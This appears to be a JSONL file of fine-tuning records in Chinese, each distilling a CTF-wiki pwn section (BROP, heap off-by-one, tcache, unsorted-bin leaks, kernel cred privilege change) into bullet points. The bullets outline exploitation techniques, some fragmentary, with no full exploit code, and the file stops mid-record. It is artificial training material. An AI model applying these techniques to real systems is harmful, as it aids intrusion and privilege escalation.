{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7f5bb32fd8722f7594a2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「攻击总结」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > BROP > 攻击原理 > 攻击总结\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“攻击总结”展开。\n- 此时，攻击者已经可以控制输出函数了，那么攻击者就可以输出.text段更多的内容以便于来找到更多合适gadgets。\n- 一般来说，攻击者此时会去做下事情 - 将socket输出重定向到输入输出 - 寻找“/bin/sh”的地址。\n- 一般来说，最好是找到一块可写的内存，利用write函数将这个字符串写到相应的地址。\n- 执行execve获取shell，获取execve不一定在plt表中，此时攻击者就需要想办法执行系统调用了。\n- 同时，攻击者还可以找到一些其它函数，如dup2或者execve函数。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 243, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "攻击总结", "heading_path": ["中级ROP", "BROP", "攻击原理", "攻击总结"], "original_id": "docs-4521de5f4180d429f0e9", "original_line": 1292, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "b6577ed9855644c7c420c915", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7fb373761b103a7150a3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「一、系统调用路径」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识 > 系统调用 > 一、系统调用路径\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“一、系统调用路径”展开。\n- 类似于 Linux 下的系统调用，Windows 下由内核向用户态进程提供的服务称为系统服务（system service），所有对系统服务的调用都通过 ntdll.dll 来完成进入内核的过程： [图片: 以 Notepad 创建文件为示例的 Windows 系统调用路径;\n- Windows 系统调用内核层的入口被设置为 KiSystemCall64() 函数，当进行 syscall 指令/ 0x2E 软中断时，CPU 会切换到 ring0 并执行该函数作为统一的系统调用入口点，该函数定义于 ntoskrnl.exe 中，根据 rax 寄存器指定的系统调用号来调用 SSDT 中对应的内核函数。\n- [图片文件: https://s2.loli.net/2025/02/01/VLWQjOwufy8UnT4.png] > 注：有的时候系统调用入口为 kiSystemCall64Shadow() 函数，不过这个函数最终会跳转到 kiSystemCall64() 中的 KiSystemServiceUser 标签。\n- 文件: https://s2.loli.net/2025/02/01/cbfeQk6OagNXMZP.png] > 在 ntdll.dll 中以 Nt 开头的以及以 Zw 开头的函数皆为系统调用，本质上没有差别。\n- > > 在偏移 0x308 处存放的便是一个布尔值，用来标识该架构是否支持 syscall 指令。\n\n关键术语：\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 896, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "一、系统调用路径", "heading_path": ["基础知识", "系统调用", "一、系统调用路径"], "original_id": "docs-d83193e18999775d29d6", "original_line": 1459, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "60cf51d4bfb2f31965ac8a61", "subcategory": "pwn/windows/kernel-mode", "terms": ["pwn", "windows", "kernel-mode", "basic-knowledge"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7fb795ccd2df3ff511c2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md` 中的章节「KVM & QEMU-KVM」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md`\n标题：CPU 虚拟化\n章节：CPU 虚拟化 > KVM & QEMU-KVM\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“KVM & QEMU-KVM”展开。\n- QEMU 便支持通过 KVM 来创建与运行虚拟机，利用QEMU + KVM 进行虚拟化的方案如下： - QEMU 通过 ioctl 进入内核态将控制权移交 KVM，KVM 进行 VM 的运行。\n- 但 KVM 本身仅提供了 CPU 与内存的虚拟化，不能构成一个完整的虚拟化环境，那么我们不难想到的是我们可以复用现有的全虚拟化方案，将模拟 CPU 与内存的工作交由 KVM 完成，这样便能直接通过 KVM 来借助硬件辅助虚拟化以提高虚拟机性能。\n- Kernel-based Virtual Machine 是一个自 Linux 2.6.20 后集成在 kernel 中的一个开源系统虚拟化内核模块，本质上是一个依赖于硬件辅助虚拟化的位于 kernel 中的 Hypervisor，或者说KVM 将 Linux kernel 变成了 Hypervisor，并提供了相应的用户态操作 VM 的接口： /dev/kvm ，我们可以通过 ioctl 指令来操作 KVM。\n- 文件: ./figure/qemu-kvm.png] 这个基本执行框架实际上为 QEMU 源码 accel/kvm/kvm-all.c 中的 kvm_cpu_exec()： ``c int kvm_cpu_exec(CPUState cpu) { //... cpu_exec_start(cpu);\n- do { //... / 开始运行 VM，本质上就是 ioctl(kvm_fd, KVM_RUN) 当产生 VM-Exit 时，首先在 KVM 中完成处理， 若产生 IO，则退出内核态，即恢复到这里，接下来进入到用户态的处理 / run_ret = kvm_vcpu_ioctl(cpu, KVM_RUN, 0);\n\n关键术语：\n- 漏洞利用\n- pwn\n- virtualization\n- basic-knowledge\n- cpu-virtualization.md\n- code:c\n\n代码/命令片段线索：\n- c: 52 行，首行 `int kvm_cpu_exec(CPUState *cpu)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1706, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "KVM & QEMU-KVM", "heading_path": ["CPU 虚拟化", "KVM & QEMU-KVM"], "original_id": "docs-bcdf3671d5782e74ba36", "original_line": 1407, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/cpu-virtualization.md", "source_root": "docs", "source_sha256": "62195df706a3b215353c99b8c10a0bc6fd7a8ba0630c446bc0dd344eae945033", "split": "train", "split_group_key": "18969c7f76344fc16410e099", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["漏洞利用", "pwn", "virtualization", "basic-knowledge", "cpu-virtualization.md", "code:c"], "title": "CPU 虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/cpu-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-807dec693b33a4a2bd30", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/build-kernel-module.md` 中的章节「创建文件节点」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/build-kernel-module.md`\n标题：编写一个 Loadable Kernel Module\n章节：Copyright (c) 2025 arttnba3 <[EMAIL_REDACTED]> > 提供用户态接口 > 创建文件节点\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“创建文件节点”展开。\n- 我们在模块初始化函数中调用 proc_create() 创建我们的 procfs 文件节点，各个参数分别指定了节点名、权限、父节点（为 NULL 则挂到 procfs 的根节点）、函数表，并在模块卸载时销毁该节点： ``c static struct proc_dir_entry *a3kmod_proc_dir_entry;\n- static __init int a3kmod_init(void) { printk(KERN_INFO \"[a3kmod:] Hello kernel world!\n- a3kmod_proc_dir_entry = proc_create(\"a3kmod\", 0666, NULL, &a3kmod_proc_ops);\n- if (IS_ERR(a3kmod_proc_dir_entry)) { return PTR_ERR(a3kmod_proc_dir_entry);\n- } static __exit void a3kmod_exit(void) { printk(KERN_INFO \"[a3kmod:] Goodbye kernel world!\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- environment\n- code:c\n\n代码/命令片段线索：\n- c: 15 行，首行 `static struct proc_dir_entry *a3kmod_proc_dir_entry;`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 642, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "创建文件节点", "heading_path": ["Copyright (c) 2025 arttnba3 <[EMAIL_REDACTED]>", "提供用户态接口", "创建文件节点"], "original_id": "docs-fa59558e5159dbaeef07", "original_line": 698, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel-module.md", "source_root": "docs", "source_sha256": "515975a5586b923eaaba1367517b2ebd6aa21fc9cee0a6411a4f62271a08f552", "split": "train", "split_group_key": "d97669f19dbda6dc8c596adb", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "environment", "code:c"], "title": "编写一个 Loadable Kernel Module"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel-module.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-80a66861d72d6fa8fe6e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md` 中的章节「基本功能」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md`\n标题：Chunk Extend and Overlapping\n章节：Chunk Extend and Overlapping > HITCON Training lab13 > 基本功能\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本功能”展开。\n- 主要功能如下 1. 创建堆，根据用户输入的长度，申请对应内存空间，并利用 read 读取指定长度内容。\n- 2. 编辑堆，根据指定的索引以及之前存储的堆的大小读取指定内容，但是这里读入的长度会比之前大 1，所以会存在 off by one 的漏洞。\n- 这里长度没有进行检测，当长度为负数时，会出现任意长度堆溢出的漏洞。\n- 程序大概是一个自定义的堆分配器，每个堆主要有两个成员：大小与内容指针。\n- 4. 删除堆，删除指定堆，并且将对应指针设置为了 NULL。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 287, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "基本功能", "heading_path": ["Chunk Extend and Overlapping", "HITCON Training lab13", "基本功能"], "original_id": "docs-61bd213b79f92fcc8746", "original_line": 908, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "source_root": "docs", "source_sha256": "b01e68217ab7de1be420b9424581a4f5375501c0cee771572bfb815bdb771d2a", "split": "train", "split_group_key": "5eee0c076a59c118c836eae3", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Chunk Extend and Overlapping"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-80e48abf231fd9fb1dee", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「进程权限改变」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`\n标题：基础知识\n章节：基础知识 > 进程权限管理 > 进程权限改变\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“进程权限改变”展开。\n- 在内核空间有如下两个函数，都位于 kernel/cred.c 中： - struct cred prepare_kernel_cred(struct task_struct daemon)：该函数用以拷贝一个进程的cred结构体，并返回一个新的cred结构体，需要注意的是daemon参数应为有效的进程描述符地址。\n- int commit_creds(struct cred *new)：该函数用以将一个新的cred结构体应用到进程。\n- 前面我们讲到，一个进程的权限是由位于内核空间的 cred 结构体进行管理的，那么我们不难想到：只要改变一个进程的 cred 结构体，就能改变其执行权限。\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- basic-knowledge.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 309, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "进程权限改变", "heading_path": ["基础知识", "进程权限管理", "进程权限改变"], "original_id": "docs-96bd4bc292d1fd341150", "original_line": 645, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "source_root": "docs", "source_sha256": "103d18a2b1d91a49bd2c2a041ed56ddd9dc84d20450319eb6f4ff9118cc83e6d", "split": "train", "split_group_key": "ec22250680b47bde51a3c4f4", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "basic-knowledge.md"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-810e8609ed9172018466", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2dir.md` 中的章节「REFERENCE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2dir.md`\n标题：ret2dir\n章节：ret2dir > REFERENCE\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“REFERENCE”展开。\n- http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf [https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x03-Kernel-ROP-ret2dir](https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x03-Kernel-ROP-ret2dir)\n\n关键术语：\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 298, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "REFERENCE", "heading_path": ["ret2dir", "REFERENCE"], "original_id": "docs-2f2879d09e91cb368a1c", "original_line": 807, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2dir.md", "source_root": "docs", "source_sha256": "03a9f28cf23312e37760324d080b1a938051541da85bfe9f74fc68c15831dd70", "split": "train", "split_group_key": "64b02655407f16437ddc420f", "subcategory": "pwn/linux/kernel-mode", "terms": ["ROP/JOP", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "ret2dir"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2dir.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-812ab1878f732a37dfce", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/System.map.md` 中的章节「System.map」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/System.map.md`\n标题：System.map\n章节：System.map\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 当我们获得的vmlinux是stripped时就需要System.map来帮助我们调试。\n- System.map 文件是一个纯文本文件，每一行包含三个字段： 符号地址（内存地址） 符号类型（例如：函数、变量）如果为小写，则符号为本地符号;\n- System.map 文件是Linux内核编译过程中生成的一个重要文件。\n- 这些符号包括内核函数、变量以及其他在内核中定义的重要符号。\n\n关键术语：\n- 栈\n- pwn\n- linux\n- kernel-mode\n- environment\n\n代码/命令片段线索：\n- plain: 11 行，首行 `└─$ head System.map`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 667, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "System.map", "heading_path": ["System.map"], "original_id": "docs-95d2de3a4da3d698e24f", "original_line": 35, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/System.map.md", "source_root": "docs", "source_sha256": "1f94d1151fa9ede6b21f36731272a57ea2150ec14bb4eac91985f3bc034dd15c", "split": "train", "split_group_key": "3b1739bcb3095f4d38716cfd", "subcategory": "pwn/linux/kernel-mode", "terms": ["栈", "pwn", "linux", "kernel-mode", "environment"], "title": "System.map"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/System.map.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-82165dfffebb44d71ff6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md` 中的章节「_int_free()」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md`\n标题：tcache\n章节：define TCACHE_MAX_BINS 64 > 源码分析 > _int_free()\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 跟进 _int_free() source code ``C static void _int_free (mstate av, mchunkptr p, int have_lock) { ...... ...... #if USE_TCACHE { size_t tc_idx = csize2tidx (size);\n- if (tcache && tc_idx < mp_.tcache_bins // 64 && tcache->counts[tc_idx] < mp_.tcache_count) // 7 { tcache_put (p, tc_idx);\n- ` 判断 tc_idx 合法，tcache->counts[tc_idx] 在 7 个以内时，就进入 tcache_put()`，传递的两个参数是要释放的 chunk 和该 chunk 对应的 size 在 tcache 中的下标。\n- } } #endif ...... ......\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- C: 19 行，首行 `static void`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 525, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "_int_free()", "heading_path": ["define TCACHE_MAX_BINS 64", "源码分析", "_int_free()"], "original_id": "docs-a9884a17a7306ffe3e98", "original_line": 1188, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "source_root": "docs", "source_sha256": "4de68a9fa4b9401f8336e24b35eadac2ba7ac5f85ff862f309421b9ce8c82db8", "split": "train", "split_group_key": "e25a68b13a7d6c454424ad71", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "tcache"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-82adfe1932c9925f3d1e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md` 中的章节「多线程支持」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md`\n标题：堆概述\n章节：堆概述 > 堆的基本操作 > 多线程支持\n路径分类：pwn / pwn/linux/user-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“多线程支持”展开。\n- 同时，需要注意的是，我们虽然只是申请了1000个字节，但是我们却得到了0x0806c000-0x0804b000=0x21000个字节的堆。\n- printf(\"Before malloc in main thread\\n\");\n- printf(\"After malloc and before free in main thread\\n\");\n- 当 arena 空间不足时，它可以通过增加brk的方式来增加堆的空间。\n- } int main() { pthread_t t1;\n\n关键术语：\n- 堆\n- 栈\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n- code:shell\n\n代码/命令片段线索：\n- c++: 44 行，首行 `/* Per thread arena example. */`\n- shell: 11 行，首行 `sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ./mthread`\n- shell: 13 行，首行 `sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ./mthread`\n- shell: 14 行，首行 `sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ./mthread`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4806, "chunk_count": 2, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "多线程支持", "heading_path": ["堆概述", "堆的基本操作", "多线程支持"], "original_id": "docs-f32e3ee3e4023737ccd2", "original_line": 947, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md", "source_root": "docs", "source_sha256": "c5b7b2772fccb400c1608947df02ea8ba5de03c3aabfe029fcff194c119d8375", "split": "train", "split_group_key": "a93f7a2f1b4a40cbe9af3832", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c++", "code:shell"], "title": "堆概述"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-83761addb4693d45fa58", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「实现 Leak 的方法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`\n标题：Unsorted Bin Attack\n章节：Unsorted Bin Attack > Unsorted Bin Leak > 实现 Leak 的方法\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“实现 Leak 的方法”展开。\n- 一般来说，要实现 leak，需要有 UAF，将一个 chunk 放入 Unsorted Bin 中后再打出其 fd。\n- 特别的，CTF 中的利用，堆往往是刚刚初始化的，所以 Unsorted Bin 一般都是干净的，当里面只存在一个 bin 的时候，该 bin 的 fd 和 bk 都会指向 main_arena 中。\n- 一般的笔记管理题都会有 show 的功能，对处于链表尾的节点 show 就可以获得 libc 的基地址了。\n- 另外，如果我们无法做到访问链表尾，但是可以访问链表头，那么在 32 位的环境下，对链表头进行 printf 等往往可以把 fd 和 bk 一起输出出来，这个时候同样可以实现有效的 leak。\n- 然而在 64 位下，由于高地址往往为 \\x00，很多输出函数会被截断，这个时候可能就难以实现有效 leak。\n\n关键术语：\n- UAF\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 399, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "实现 Leak 的方法", "heading_path": ["Unsorted Bin Attack", "Unsorted Bin Leak", "实现 Leak 的方法"], "original_id": "docs-da9ee1c8fd3d05ec15a8", "original_line": 1101, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "source_root": "docs", "source_sha256": "c2ba53ae053f8100dfd6c9f4174e9fdafca0b7e6ad07e6279865c89a5f082052", 